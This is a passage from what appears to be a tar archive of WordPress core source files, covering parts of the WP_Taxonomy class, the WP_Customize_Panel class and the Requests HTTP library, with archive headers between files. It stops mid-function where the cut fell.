@global WP $wp Current WordPress environment instance. */ public function remove_rewrite_rules() { /* @var WP $wp */ global $wp; // Remove query var. if ( false !== $this->query_var ) { $wp->remove_query_var( $this->query_var ); } // Remove rewrite tags and permastructs. if ( false !== $this->rewrite ) { remove_rewrite_tag( "%$this->name%" ); remove_permastruct( $this->name ); } } /** * Registers the ajax callback for the meta box. * * @since 4.7.0 */ public function add_hooks() { add_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Removes the ajax callback for the meta box. * * @since 4.7.0 */ public function remove_hooks() { remove_filter( 'wp_ajax_add-' . $this->name, '_wp_ajax_add_hierarchical_term' ); } /** * Gets the REST API controller for this taxonomy. * * Will only instantiate the controller class once per request. * * @since 5.5.0 * * @return WP_REST_Controller|null The controller instance, or null if the taxonomy * is set not to show in rest. */ public function get_rest_controller() { if ( ! $this->show_in_rest ) { return null; } $class = $this->rest_controller_class ? $this->rest_controller_class : WP_REST_Terms_Controller::class; if ( ! class_exists( $class ) ) { return null; } if ( ! is_subclass_of( $class, WP_REST_Controller::class ) ) { return null; } if ( ! $this->rest_controller ) { $this->rest_controller = new $class( $this->name ); } if ( ! ( $this->rest_controller instanceof $class ) ) { return null; } return $this->rest_controller; } /** * Returns the default labels for taxonomies. * * @since 6.0.0 * * @return (string|null)[][] The default labels for taxonomies. */ public static function get_default_labels() { if ( ! empty( self::$default_labels ) ) { return self::$default_labels; } $name_field_description = __( 'The name is how it appears on your site.' ); $slug_field_description = __( 'The “slug” is the URL-friendly version of the name. It is usually all lowercase and contains only letters, numbers, and hyphens.' ); $parent_field_description = __( 'Assign a parent term to create a hierarchy. The term Jazz, for example, would be the parent of Bebop and Big Band.' ); $desc_field_description = __( 'The description is not prominent by default; however, some themes may show it.' ); self::$default_labels = array( 'name' => array( _x( 'Tags', 'taxonomy general name' ), _x( 'Categories', 'taxonomy general name' ) ), 'singular_name' => array( _x( 'Tag', 'taxonomy singular name' ), _x( 'Category', 'taxonomy singular name' ) ), 'search_items' => array( __( 'Search Tags' ), __( 'Search Categories' ) ), 'popular_items' => array( __( 'Popular Tags' ), null ), 'all_items' => array( __( 'All Tags' ), __( 'All Categories' ) ), 'parent_item' => array( null, __( 'Parent Category' ) ), 'parent_item_colon' => array( null, __( 'Parent Category:' ) ), 'name_field_description' => array( $name_field_description, $name_field_description ), 'slug_field_description' => array( $slug_field_description, $slug_field_description ), 'parent_field_description' => array( null, $parent_field_description ), 'desc_field_description' => array( $desc_field_description, $desc_field_description ), 'edit_item' => array( __( 'Edit Tag' ), __( 'Edit Category' ) ), 'view_item' => array( __( 'View Tag' ), __( 'View Category' ) ), 'update_item' => array( __( 'Update Tag' ), __( 'Update Category' ) ), 'add_new_item' => array( __( 'Add New Tag' ), __( 'Add New Category' ) ), 'new_item_name' => array( __( 'New Tag Name' ), __( 'New Category Name' ) ), 'separate_items_with_commas' => array( __( 'Separate tags with commas' ), null ), 'add_or_remove_items' => array( __( 'Add or remove tags' ), null ), 'choose_from_most_used' => array( __( 'Choose from the most used tags' ), null ), 'not_found' => array( __( 'No tags found.' ), __( 'No categories found.' ) ), 'no_terms' => array( __( 'No tags' ), __( 'No categories' ) ), 'filter_by_item' => array( null, __( 'Filter by category' ) ), 'items_list_navigation' => array( __( 'Tags list navigation' ), __( 'Categories list navigation' ) ), 'items_list' => array( __( 'Tags list' ), __( 'Categories list' ) ), /* translators: Tab heading when selecting from the most used terms. */ 'most_used' => array( _x( 'Most Used', 'tags' ), _x( 'Most Used', 'categories' ) ), 'back_to_items' => array( __( '← Go to Tags' ), __( '← Go to Categories' ) ), 'item_link' => array( _x( 'Tag Link', 'navigation link block title' ), _x( 'Category Link', 'navigation link block title' ), ), 'item_link_description' => array( _x( 'A link to a tag.', 'navigation link block description' ), _x( 'A link to a category.', 'navigation link block description' ), ), ); return self::$default_labels; } /** * Resets the cache for the default labels. * * @since 6.0.0 */ public static function reset_default_labels() { self::$default_labels = array(); } } ��������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������class-wp-customize-panel.php������������������������������������������������������������������������0000644�����������������00000024305�14717703502�0012135 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * WordPress Customize Panel classes * * @package WordPress * @subpackage Customize * @since 4.0.0 */ /** * Customize Panel class. * * A UI container for sections, managed by the WP_Customize_Manager. * * @since 4.0.0 * * @see WP_Customize_Manager */ class WP_Customize_Panel { /** * Incremented with each new class instantiation, then stored in $instance_number. * * Used when sorting two instances whose priorities are equal. * * @since 4.1.0 * @var int */ protected static $instance_count = 0; /** * Order in which this instance was created in relation to other instances. * * @since 4.1.0 * @var int */ public $instance_number; /** * WP_Customize_Manager instance. * * @since 4.0.0 * @var WP_Customize_Manager */ public $manager; /** * Unique identifier. * * @since 4.0.0 * @var string */ public $id; /** * Priority of the panel, defining the display order of panels and sections. * * @since 4.0.0 * @var int */ public $priority = 160; /** * Capability required for the panel. * * @since 4.0.0 * @var string */ public $capability = 'edit_theme_options'; /** * Theme features required to support the panel. * * @since 4.0.0 * @var string|string[] */ public $theme_supports = ''; /** * Title of the panel to show in UI. * * @since 4.0.0 * @var string */ public $title = ''; /** * Description to show in the UI. * * @since 4.0.0 * @var string */ public $description = ''; /** * Auto-expand a section in a panel when the panel is expanded when the panel only has the one section. * * @since 4.7.4 * @var bool */ public $auto_expand_sole_section = false; /** * Customizer sections for this panel. * * @since 4.0.0 * @var array */ public $sections; /** * Type of this panel. * * @since 4.1.0 * @var string */ public $type = 'default'; /** * Active callback. * * @since 4.1.0 * * @see WP_Customize_Section::active() * * @var callable Callback is called with one argument, the instance of * WP_Customize_Section, and returns bool to indicate whether * the section is active (such as it relates to the URL currently * being previewed). */ public $active_callback = ''; /** * Constructor. * * Any supplied $args override class property defaults. * * @since 4.0.0 * * @param WP_Customize_Manager $manager Customizer bootstrap instance. * @param string $id A specific ID for the panel. * @param array $args { * Optional. Array of properties for the new Panel object. Default empty array. * * @type int $priority Priority of the panel, defining the display order * of panels and sections. Default 160. * @type string $capability Capability required for the panel. * Default `edit_theme_options`. * @type string|string[] $theme_supports Theme features required to support the panel. * @type string $title Title of the panel to show in UI. * @type string $description Description to show in the UI. * @type string $type Type of the panel. * @type callable $active_callback Active callback. * } */ public function __construct( $manager, $id, $args = array() ) { $keys = array_keys( get_object_vars( $this ) ); foreach ( $keys as $key ) { if ( isset( $args[ $key ] ) ) { $this->$key = $args[ $key ]; } } $this->manager = $manager; $this->id = $id; if ( empty( $this->active_callback ) ) { $this->active_callback = array( $this, 'active_callback' ); } self::$instance_count += 1; $this->instance_number = self::$instance_count; $this->sections = array(); // Users cannot customize the $sections array. } /** * Check whether panel is active to current Customizer preview. * * @since 4.1.0 * * @return bool Whether the panel is active to the current preview. */ final public function active() { $panel = $this; $active = call_user_func( $this->active_callback, $this ); /** * Filters response of WP_Customize_Panel::active(). * * @since 4.1.0 * * @param bool $active Whether the Customizer panel is active. * @param WP_Customize_Panel $panel WP_Customize_Panel instance. */ $active = apply_filters( 'customize_panel_active', $active, $panel ); return $active; } /** * Default callback used when invoking WP_Customize_Panel::active(). * * Subclasses can override this with their specific logic, or they may * provide an 'active_callback' argument to the constructor. * * @since 4.1.0 * * @return bool Always true. */ public function active_callback() { return true; } /** * Gather the parameters passed to client JavaScript via JSON. * * @since 4.1.0 * * @return array The array to be exported to the client as JSON. */ public function json() { $array = wp_array_slice_assoc( (array) $this, array( 'id', 'description', 'priority', 'type' ) ); $array['title'] = html_entity_decode( $this->title, ENT_QUOTES, get_bloginfo( 'charset' ) ); $array['content'] = $this->get_content(); $array['active'] = $this->active(); $array['instanceNumber'] = $this->instance_number; $array['autoExpandSoleSection'] = $this->auto_expand_sole_section; return $array; } /** * Checks required user capabilities and whether the theme has the * feature support required by the panel. * * @since 4.0.0 * @since 5.9.0 Method was marked non-final. * * @return bool False if theme doesn't support the panel or the user doesn't have the capability. */ public function check_capabilities() { if ( $this->capability && ! current_user_can( $this->capability ) ) { return false; } if ( $this->theme_supports && ! current_theme_supports( ... (array) $this->theme_supports ) ) { return false; } return true; } /** * Get the panel's content template for insertion into the Customizer pane. * * @since 4.1.0 * * @return string Content for the panel. */ final public function get_content() { ob_start(); $this->maybe_render(); return trim( ob_get_clean() ); } /** * Check capabilities and render the panel. * * @since 4.0.0 */ final public function maybe_render() { if ( ! $this->check_capabilities() ) { return; } /** * Fires before rendering a Customizer panel. * * @since 4.0.0 * * @param WP_Customize_Panel $panel WP_Customize_Panel instance. */ do_action( 'customize_render_panel', $this ); /** * Fires before rendering a specific Customizer panel. * * The dynamic portion of the hook name, `$this->id`, refers to * the ID of the specific Customizer panel to be rendered. * * @since 4.0.0 */ do_action( "customize_render_panel_{$this->id}" ); $this->render(); } /** * Render the panel container, and then its contents (via `this->render_content()`) in a subclass. * * Panel containers are now rendered in JS by default, see WP_Customize_Panel::print_template(). * * @since 4.0.0 */ protected function render() {} /** * Render the panel UI in a subclass. * * Panel contents are now rendered in JS by default, see WP_Customize_Panel::print_template(). * * @since 4.1.0 */ protected function render_content() {} /** * Render the panel's JS templates. * * This function is only run for panel types that have been registered with * WP_Customize_Manager::register_panel_type(). * * @since 4.3.0 * * @see WP_Customize_Manager::register_panel_type() */ public function print_template() { ?> <script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>-content"> <?php $this->content_template(); ?> </script> <script type="text/html" id="tmpl-customize-panel-<?php echo esc_attr( $this->type ); ?>"> <?php $this->render_template(); ?> </script> <?php } /** * An Underscore (JS) template for rendering this panel's container. * * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Panel::json(). * * @see WP_Customize_Panel::print_template() * * @since 4.3.0 */ protected function render_template() { ?> <li id="accordion-panel-{{ data.id }}" class="accordion-section control-section control-panel control-panel-{{ data.type }}"> <h3 class="accordion-section-title" tabindex="0"> {{ data.title }} <span class="screen-reader-text"><?php _e( 'Press return or enter to open this panel' ); ?></span> </h3> <ul class="accordion-sub-container control-panel-content"></ul> </li> <?php } /** * An Underscore (JS) template for this panel's content (but not its container). * * Class variables for this panel class are available in the `data` JS object; * export custom variables by overriding WP_Customize_Panel::json(). * * @see WP_Customize_Panel::print_template() * * @since 4.3.0 */ protected function content_template() { ?> <li class="panel-meta customize-info accordion-section <# if ( ! data.description ) { #> cannot-expand<# } #>"> <button class="customize-panel-back" tabindex="-1"><span class="screen-reader-text"><?php _e( 'Back' ); ?></span></button> <div class="accordion-section-title"> <span class="preview-notice"> <?php /* translators: %s: The site/panel title in the Customizer. */ printf( __( 'You are customizing %s' ), '<strong class="panel-title">{{ data.title }}</strong>' ); ?> </span> <# if ( data.description ) { #> <button type="button" class="customize-help-toggle dashicons dashicons-editor-help" aria-expanded="false"><span class="screen-reader-text"><?php _e( 'Help' ); ?></span></button> <# } #> </div> <# if ( data.description ) { #> <div class="description customize-panel-description"> {{{ data.description }}} </div> <# } #> <div class="customize-control-notifications-container"></div> </li> <?php } } /** WP_Customize_Nav_Menus_Panel class */ require_once ABSPATH . WPINC . '/customize/class-wp-customize-nav-menus-panel.php'; ���������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/library/Requests.php�����������������������������������������������������������������������0000644�����������������00000000405�14717703502�0012354 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Loads the old Requests class file when the autoloader * references the original PSR-0 Requests class. * * @deprecated 6.2.0 * @package WordPress * @subpackage Requests * @since 6.2.0 */ include_once ABSPATH . WPINC . '/class-requests.php'; �����������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������Requests/src/Requests.php���������������������������������������������������������������������������0000644�����������������00000102321�14717703502�0011477 0����������������������������������������������������������������������������������������������������ustar�00�������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������������<?php /** * Requests for PHP * * Inspired by Requests for Python. * * Based on concepts from SimplePie_File, RequestCore and WP_Http. * * @package Requests */ namespace WpOrg\Requests; use WpOrg\Requests\Auth\Basic; use WpOrg\Requests\Capability; use WpOrg\Requests\Cookie\Jar; use WpOrg\Requests\Exception; use WpOrg\Requests\Exception\InvalidArgument; use WpOrg\Requests\Hooks; use WpOrg\Requests\IdnaEncoder; use WpOrg\Requests\Iri; use WpOrg\Requests\Proxy\Http; use WpOrg\Requests\Response; use WpOrg\Requests\Transport\Curl; use WpOrg\Requests\Transport\Fsockopen; use WpOrg\Requests\Utility\InputValidator; /** * Requests for PHP * * Inspired by Requests for Python. * * Based on concepts from SimplePie_File, RequestCore and WP_Http. * * @package Requests */ class Requests { /** * POST method * * @var string */ const POST = 'POST'; /** * PUT method * * @var string */ const PUT = 'PUT'; /** * GET method * * @var string */ const GET = 'GET'; /** * HEAD method * * @var string */ const HEAD = 'HEAD'; /** * DELETE method * * @var string */ const DELETE = 'DELETE'; /** * OPTIONS method * * @var string */ const OPTIONS = 'OPTIONS'; /** * TRACE method * * @var string */ const TRACE = 'TRACE'; /** * PATCH method * * @link https://tools.ietf.org/html/rfc5789 * @var string */ const PATCH = 'PATCH'; /** * Default size of buffer size to read streams * * @var integer */ const BUFFER_SIZE = 1160; /** * Option defaults. * * @see \WpOrg\Requests\Requests::get_default_options() * @see \WpOrg\Requests\Requests::request() for values returned by this method * * @since 2.0.0 * * @var array */ const OPTION_DEFAULTS = [ 'timeout' => 10, 'connect_timeout' => 10, 'useragent' => 'php-requests/' . self::VERSION, 'protocol_version' => 1.1, 'redirected' => 0, 'redirects' => 10, 'follow_redirects' => true, 'blocking' => true, 'type' => self::GET, 'filename' => false, 'auth' => false, 'proxy' => false, 'cookies' => false, 'max_bytes' => false, 'idn' => true, 'hooks' => null, 'transport' => null, 'verify' => null, 'verifyname' => true, ]; /** * Default supported Transport classes. * * @since 2.0.0 * * @var array */ const DEFAULT_TRANSPORTS = [ Curl::class => Curl::class, Fsockopen::class => Fsockopen::class, ]; /** * Current version of Requests * * @var string */ const VERSION = '2.0.11'; /** * Selected transport name * * Use {@see \WpOrg\Requests\Requests::get_transport()} instead * * @var array */ public static $transport = []; /** * Registered transport classes * * @var array */ protected static $transports = []; /** * Default certificate path. * * @see \WpOrg\Requests\Requests::get_certificate_path() * @see \WpOrg\Requests\Requests::set_certificate_path() * * @var string */ protected static $certificate_path = __DIR__ . '/../certificates/cacert.pem'; /** * All (known) valid deflate, gzip header magic markers. * * These markers relate to different compression levels. * * @link https://stackoverflow.com/a/43170354/482864 Marker source. * * @since 2.0.0 * * @var array */ private static $magic_compression_headers = [ "\x1f\x8b" => true, // Gzip marker. "\x78\x01" => true, // Zlib marker - level 1. "\x78\x5e" => true, // Zlib marker - level 2 to 5. "\x78\x9c" => true, // Zlib marker - level 6. "\x78\xda" => true, // Zlib marker - level 7 to 9. ]; /** * This is a static class, do not instantiate it * * @codeCoverageIgnore */ private function __construct() {} /** * Register a transport * * @param string $transport Transport class to add, must support the \WpOrg\Requests\Transport interface */ public static function add_transport($transport) { if (empty(self::$transports)) { self::$transports = self::DEFAULT_TRANSPORTS; } self::$transports[$transport] = $transport; } /** * Get the fully qualified class name (FQCN) for a working transport. * * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`. * @return string FQCN of the transport to use, or an empty string if no transport was * found which provided the requested capabilities. */ protected static function get_transport_class(array $capabilities = []) { // Caching code, don't bother testing coverage. // @codeCoverageIgnoreStart // Array of capabilities as a string to be used as an array key. ksort($capabilities); $cap_string = serialize($capabilities); // Don't search for a transport if it's already been done for these $capabilities. if (isset(self::$transport[$cap_string])) { return self::$transport[$cap_string]; } // Ensure we will not run this same check again later on. self::$transport[$cap_string] = ''; // @codeCoverageIgnoreEnd if (empty(self::$transports)) { self::$transports = self::DEFAULT_TRANSPORTS; } // Find us a working transport. foreach (self::$transports as $class) { if (!class_exists($class)) { continue; } $result = $class::test($capabilities); if ($result === true) { self::$transport[$cap_string] = $class; break; } } return self::$transport[$cap_string]; } /** * Get a working transport. * * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`. * @return \WpOrg\Requests\Transport * @throws \WpOrg\Requests\Exception If no valid transport is found (`notransport`). */ protected static function get_transport(array $capabilities = []) { $class = self::get_transport_class($capabilities); if ($class === '') { throw new Exception('No working transports found', 'notransport', self::$transports); } return new $class(); } /** * Checks to see if we have a transport for the capabilities requested. * * Supported capabilities can be found in the {@see \WpOrg\Requests\Capability} * interface as constants. * * Example usage: * `Requests::has_capabilities([Capability::SSL => true])`. * * @param array<string, bool> $capabilities Optional. Associative array of capabilities to test against, i.e. `['<capability>' => true]`. * @return bool Whether the transport has the requested capabilities. */ public static function has_capabilities(array $capabilities = []) { return self::get_transport_class($capabilities) !== ''; } /**#@+ * @see \WpOrg\Requests\Requests::request() * @param string $url * @param array $headers * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a GET request */ public static function get($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::GET, $options); } /** * Send a HEAD request */ public static function head($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::HEAD, $options); } /** * Send a DELETE request */ public static function delete($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::DELETE, $options); } /** * Send a TRACE request */ public static function trace($url, $headers = [], $options = []) { return self::request($url, $headers, null, self::TRACE, $options); } /**#@-*/ /**#@+ * @see \WpOrg\Requests\Requests::request() * @param string $url * @param array $headers * @param array $data * @param array $options * @return \WpOrg\Requests\Response */ /** * Send a POST request */ public static function post($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::POST, $options); } /** * Send a PUT request */ public static function put($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::PUT, $options); } /** * Send an OPTIONS request */ public static function options($url, $headers = [], $data = [], $options = []) { return self::request($url, $headers, $data, self::OPTIONS, $options); } /** * Send a PATCH request * * Note: Unlike {@see \WpOrg\Requests\Requests::post()} and {@see \WpOrg\Requests\Requests::put()}, * `$headers` is required, as the specification recommends that should send an ETag * * @link https://tools.ietf.org/html/rfc5789 */ public static function patch($url, $headers, $data = [], $options = []) { return self::request($url, $headers, $data, self::PATCH, $options); } /**#@-*/ /** * Main interface for HTTP requests * * This method initiates a request and sends it via a transport before * parsing. * * The `$options` parameter takes an associative array with the following * options: * * - `timeout`: How long should we wait for a response? * Note: for cURL, a minimum of 1 second applies, as DNS resolution * operates at second-resolution only. * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `connect_timeout`: How long should we wait while trying to connect? * (float, seconds with a millisecond precision, default: 10, example: 0.01) * - `useragent`: Useragent to send to the server * (string, default: php-requests/$version) * - `follow_redirects`: Should we follow 3xx redirects? * (boolean, default: true) * - `redirects`: How many times should we redirect before erroring? * (integer, default: 10) * - `blocking`: Should we block processing on this request? * (boolean, default: true) * - `filename`: File to stream the body to instead. * (string|boolean, default: false) * - `auth`: Authentication handler or array of user/password details to use * for Basic authentication * (\WpOrg\Requests\Auth|array|boolean, default: false) * - `proxy`: Proxy details to use for proxy by-passing and authentication * (\WpOrg\Requests\Proxy|array|string|boolean, default: false) * - `max_bytes`: Limit for the response body size. * (integer|boolean, default: false) * - `idn`: Enable IDN parsing * (boolean, default: true) * - `transport`: Custom transport. Either a class name, or a * transport object. Defaults to the first working transport from * {@see \WpOrg\Requests\Requests::getTransport()} * (string|\WpOrg\Requests\Transport, default: {@see \WpOrg\Requests\Requests::getTransport()}) * - `hooks`: Hooks handler. * (\WpOrg\Requests\HookManager, default: new WpOrg\Requests\Hooks()) * - `verify`: Should we verify SSL certificates? Allows passing in a custom * certificate file as a string. (Using true uses the system-wide root * certificate store instead, but this may have different behaviour * across transports.) * (string|boolean, default: certificates/cacert.pem) * - `verifyname`: Should we verify the common name in the SSL certificate? * (boolean, default: true) * - `data_format`: How should we send the `$data` parameter? * (string, one of 'query' or 'body', default: 'query' for * HEAD/GET/DELETE, 'body' for POST/PUT/OPTIONS/PATCH) * * @param string|Stringable $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type (use Requests constants) * @param array $options Options for the request (see description for more information) * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string or Stringable. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $type argument is not a string. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. * @throws \WpOrg\Requests\Exception On invalid URLs (`nonhttp`) */ public static function request($url, $headers = [], $data = [], $type = self::GET, $options = []) { if (InputValidator::is_string_or_stringable($url) === false) { throw InvalidArgument::create(1, '$url', 'string|Stringable', gettype($url)); } if (is_string($type) === false) { throw InvalidArgument::create(4, '$type', 'string', gettype($type)); } if (is_array($options) === false) { throw InvalidArgument::create(5, '$options', 'array', gettype($options)); } if (empty($options['type'])) { $options['type'] = $type; } $options = array_merge(self::get_default_options(), $options); self::set_defaults($url, $headers, $data, $type, $options); $options['hooks']->dispatch('requests.before_request', [&$url, &$headers, &$data, &$type, &$options]); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $need_ssl = (stripos($url, 'https://') === 0); $capabilities = [Capability::SSL => $need_ssl]; $transport = self::get_transport($capabilities); } $response = $transport->request($url, $headers, $data, $options); $options['hooks']->dispatch('requests.before_parse', [&$response, $url, $headers, $data, $type, $options]); return self::parse_response($response, $url, $headers, $data, $options); } /** * Send multiple HTTP requests simultaneously * * The `$requests` parameter takes an associative or indexed array of * request fields. The key of each request can be used to match up the * request with the returned data, or with the request passed into your * `multiple.request.complete` callback. * * The request fields value is an associative array with the following keys: * * - `url`: Request URL Same as the `$url` parameter to * {@see \WpOrg\Requests\Requests::request()} * (string, required) * - `headers`: Associative array of header fields. Same as the `$headers` * parameter to {@see \WpOrg\Requests\Requests::request()} * (array, default: `array()`) * - `data`: Associative array of data fields or a string. Same as the * `$data` parameter to {@see \WpOrg\Requests\Requests::request()} * (array|string, default: `array()`) * - `type`: HTTP request type (use \WpOrg\Requests\Requests constants). Same as the `$type` * parameter to {@see \WpOrg\Requests\Requests::request()} * (string, default: `\WpOrg\Requests\Requests::GET`) * - `cookies`: Associative array of cookie name to value, or cookie jar. * (array|\WpOrg\Requests\Cookie\Jar) * * If the `$options` parameter is specified, individual requests will * inherit options from it. This can be used to use a single hooking system, * or set all the types to `\WpOrg\Requests\Requests::POST`, for example. * * In addition, the `$options` parameter takes the following global options: * * - `complete`: A callback for when a request is complete. Takes two * parameters, a \WpOrg\Requests\Response/\WpOrg\Requests\Exception reference, and the * ID from the request array (Note: this can also be overridden on a * per-request basis, although that's a little silly) * (callback) * * @param array $requests Requests data (see description for more information) * @param array $options Global and default options (see {@see \WpOrg\Requests\Requests::request()}) * @return array Responses (either \WpOrg\Requests\Response or a \WpOrg\Requests\Exception object) * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $requests argument is not an array or iterable object with array access. * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $options argument is not an array. */ public static function request_multiple($requests, $options = []) { if (InputValidator::has_array_access($requests) === false || InputValidator::is_iterable($requests) === false) { throw InvalidArgument::create(1, '$requests', 'array|ArrayAccess&Traversable', gettype($requests)); } if (is_array($options) === false) { throw InvalidArgument::create(2, '$options', 'array', gettype($options)); } $options = array_merge(self::get_default_options(true), $options); if (!empty($options['hooks'])) { $options['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']); if (!empty($options['complete'])) { $options['hooks']->register('multiple.request.complete', $options['complete']); } } foreach ($requests as $id => &$request) { if (!isset($request['headers'])) { $request['headers'] = []; } if (!isset($request['data'])) { $request['data'] = []; } if (!isset($request['type'])) { $request['type'] = self::GET; } if (!isset($request['options'])) { $request['options'] = $options; $request['options']['type'] = $request['type']; } else { if (empty($request['options']['type'])) { $request['options']['type'] = $request['type']; } $request['options'] = array_merge($options, $request['options']); } self::set_defaults($request['url'], $request['headers'], $request['data'], $request['type'], $request['options']); // Ensure we only hook in once if ($request['options']['hooks'] !== $options['hooks']) { $request['options']['hooks']->register('transport.internal.parse_response', [static::class, 'parse_multiple']); if (!empty($request['options']['complete'])) { $request['options']['hooks']->register('multiple.request.complete', $request['options']['complete']); } } } unset($request); if (!empty($options['transport'])) { $transport = $options['transport']; if (is_string($options['transport'])) { $transport = new $transport(); } } else { $transport = self::get_transport(); } $responses = $transport->request_multiple($requests, $options); foreach ($responses as $id => &$response) { // If our hook got messed with somehow, ensure we end up with the // correct response if (is_string($response)) { $request = $requests[$id]; self::parse_multiple($response, $request); $request['options']['hooks']->dispatch('multiple.request.complete', [&$response, $id]); } } return $responses; } /** * Get the default options * * @see \WpOrg\Requests\Requests::request() for values returned by this method * @param boolean $multirequest Is this a multirequest? * @return array Default option values */ protected static function get_default_options($multirequest = false) { $defaults = static::OPTION_DEFAULTS; $defaults['verify'] = self::$certificate_path; if ($multirequest !== false) { $defaults['complete'] = null; } return $defaults; } /** * Get default certificate path. * * @return string Default certificate path. */ public static function get_certificate_path() { return self::$certificate_path; } /** * Set default certificate path. * * @param string|Stringable|bool $path Certificate path, pointing to a PEM file. * * @throws \WpOrg\Requests\Exception\InvalidArgument When the passed $url argument is not a string, Stringable or boolean. */ public static function set_certificate_path($path) { if (InputValidator::is_string_or_stringable($path) === false && is_bool($path) === false) { throw InvalidArgument::create(1, '$path', 'string|Stringable|bool', gettype($path)); } self::$certificate_path = $path; } /** * Set the default values * * The $options parameter is updated with the results. * * @param string $url URL to request * @param array $headers Extra headers to send with the request * @param array|null $data Data to send either as a query string for GET/HEAD requests, or in the body for POST requests * @param string $type HTTP request type * @param array $options Options for the request * @return void * * @throws \WpOrg\Requests\Exception When the $url is not an http(s) URL. */ protected static function set_defaults(&$url, &$headers, &$data, &$type, &$options) { if (!preg_match('/^http(s)?:\/\//i', $url, $matches)) { throw new Exception('Only HTTP(S) requests are handled.', 'nonhttp', $url); } if (empty($options['hooks'])) { $options['hooks'] = new Hooks(); } if (is_array($options['auth'])) { $options['auth'] = new Basic($options['auth']); } if ($options['auth'] !== false) { $options['auth']->register($options['hooks']); } if (is_string($options['proxy']) || is_array($options['proxy'])) { $options['proxy'] = new Http($options['proxy']); } if ($options['proxy'] !== false) { $options['proxy']->register($options['hooks']); } if (is_array($options['cookies'])) { $options['cookies'] = new Jar($options['cookies']); } elseif (empty($options['cookies'])) { $options['cookies'] = new Jar(); } if ($options['cookies'] !== false) { $options['cookies']->register($options['hooks']); } if ($options['idn'] !== false) { $iri = new Iri($url); $iri->host = IdnaEncoder::encode($iri->ihost); $url = $iri->uri; } // Massage the type to ensure we support it. $type = strtoupper($type); if (!isset($options['data_format'])) { if (in_array($type, [self::HEAD, self::GET, self::DELETE], true)) { $options['data_format'] = 'query'; } else { $options['data_format'] = 'body'; } } } /** * HTTP response parser * * @param string $headers Full response text including headers and body * @param string $url Original request URL * @param array $req_headers Original $headers array passed to {@link request()}, in case we need to follow redirects * @param array $req_data Original $data array passed to {@link request()}, in case we need to follow redirects * @param array $options Original $options array passed to {@link request()}, in case we need to follow redirects * @return \WpOrg\Requests\Response * * @throws \WpOrg\Requests\Exception On missing head/body separator (`requests.no_crlf_separator`) * @throws \WpOrg\Requests\Exception On missing head/body separator (`noversion`) * @throws \WpOrg\Requests\Exception On missing head/body separator (`toomanyredirects`) */ protected static function parse_response($headers, $url, $req_headers, $req_data, $options) { $return = new Response(); if (!$options['blocking']) { return $return; } $return->raw = $headers; $return->url = (string) $url; $return->body = ''; if (!$options['filename']) { $pos = strpos($headers, "\r\n\r\n"); if ($pos === false) { // Crap! throw new Exception('Missing header/body separator', 'requests.no_crlf_separator'); } $headers = substr($return->raw, 0, $pos); // Headers will always be separated from the body by two new lines - `\n\r\n\r`. $body = substr($return->raw, $pos + 4); if (!empty($body)) { $return->body = $body; } } // Pretend CRLF = LF for compatibility (RFC 2616, section 19.3) $headers = str_replace("\r\n", "\n", $headers); // Unfold headers (replace [CRLF] 1*( SP | HT ) with SP) as per RFC 2616 (section 2.2) $headers = preg_replace('/\n[ \t]/', ' ', $headers); $headers = explode("\n", $headers); preg_match('#^HTTP/(1\.\d)[ \t]+(\d+)#i', array_shift($headers), $matches); if (empty($matches)) { throw new Exception('Response could not be parsed', 'noversion', $headers); } $return->protocol_version = (float) $matches[1]; $return->status_code = (int) $matches[2]; if ($return->status_code >= 200 && $return->status_code < 300) { $return->success = true; } foreach ($headers as $header) { list($key, $value) = explode(':', $header, 2); $value = trim($value); preg_replace('#(\s+)#i', ' ', $value); $return->headers[$key] = $value; } if (isset($return->headers['transfer-encoding'])) { $return->body = self::decode_chunked($return->body); unset($return->headers['transfer-encoding']); } if (isset($return->headers['content-encoding'])) { $return->body = self::decompress($return->body); } //fsockopen and cURL compatibility if (isset($return->headers['connection'])) { unset($return->headers['connection']); } $options['hooks']->dispatch('requests.before_redirect_check', [&$return, $req_headers, $req_data, $options]); if ($return->is_redirect() && $options['follow_redirects'] === true) { if (isset($return->headers['location']) && $options['redirected'] < $options['redirects']) { if ($return->status_code === 303) { $options['type'] = self::GET; } $options['redirected']++; $location = $return->headers['location']; if (strpos($location, 'http://') !== 0 && strpos($location, 'https://') !== 0) { // relative redirect, for compatibility make it absolute $location = Iri::absolutize($url, $location); $location = $location->uri; } $hook_args = [ &$location, &$req_headers, &$req_data, &$options, $return, ]; $options['hooks']->dispatch('requests.before_redirect', $hook_args); $redirected = self::request($location, $req_headers, $req_data, $options['type'], 